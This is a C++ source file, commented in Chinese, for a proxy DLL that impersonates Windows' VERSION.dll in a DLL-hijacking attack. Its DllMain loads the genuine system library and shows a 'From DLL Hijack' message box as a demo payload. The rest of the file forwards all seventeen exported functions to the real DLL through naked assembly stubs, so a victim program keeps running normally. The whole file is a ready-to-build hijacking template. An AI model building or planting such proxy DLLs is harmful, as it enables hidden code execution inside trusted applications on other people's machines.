// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
// 绝对路径加载VERSION.dll
::LoadLibrary("C:\\Windows\\System32\\VERSION.dll");
::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
// 卸载VERSION.dll
HMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");
if (hDll)
{
::FreeLibrary(hDll);
}
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
break;
}
return TRUE;
}
// 导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=_DG_GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=_DG_GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=_DG_GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=_DG_GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=_DG_GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=_DG_GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=_DG_GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=_DG_VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=_DG_VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=_DG_VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=_DG_VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=_DG_VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=_DG_VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=_DG_VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=_DG_VerQueryValueW,@17")
// 获取函数地址
PVOID GetFunctionAddress(char *pszFunctionName)
{
PVOID pAddr = NULL;
HMODULE hDll = NULL;
char szDllPath[MAX_PATH] = "C:\\Windows\\System32\\VERSION.dll";
hDll = ::LoadLibrary(szDllPath);
if (NULL == hDll)
{
return NULL;
}
pAddr = ::GetProcAddress(hDll, pszFunctionName);
::FreeLibrary(hDll);
return pAddr;
}
// 函数
extern "C" void __declspec(naked) DG_GetFileVersionInfoA()
{
GetFunctionAddress("GetFileVersionInfoA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoByHandle()
{
GetFunctionAddress("GetFileVersionInfoByHandle");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoExA()
{
GetFunctionAddress("GetFileVersionInfoExA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoExW()
{
GetFunctionAddress("GetFileVersionInfoExW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeA()
{
GetFunctionAddress("GetFileVersionInfoSizeA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExA()
{
GetFunctionAddress("GetFileVersionInfoSizeExA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExW()
{
GetFunctionAddress("GetFileVersionInfoSizeExW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeW()
{
GetFunctionAddress("GetFileVersionInfoSizeW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoW()
{
GetFunctionAddress("GetFileVersionInfoW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerFindFileA()
{
GetFunctionAddress("VerFindFileA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerFindFileW()
{
GetFunctionAddress("VerFindFileW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerInstallFileA()
{
GetFunctionAddress("VerInstallFileA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerInstallFileW()
{
GetFunctionAddress("VerInstallFileW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerLanguageNameA()
{
GetFunctionAddress("VerLanguageNameA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerLanguageNameW()
{
GetFunctionAddress("VerLanguageNameW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerQueryValueA()
{
GetFunctionAddress("VerQueryValueA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerQueryValueW()
{
GetFunctionAddress("VerQueryValueW");
__asm jmp eax
}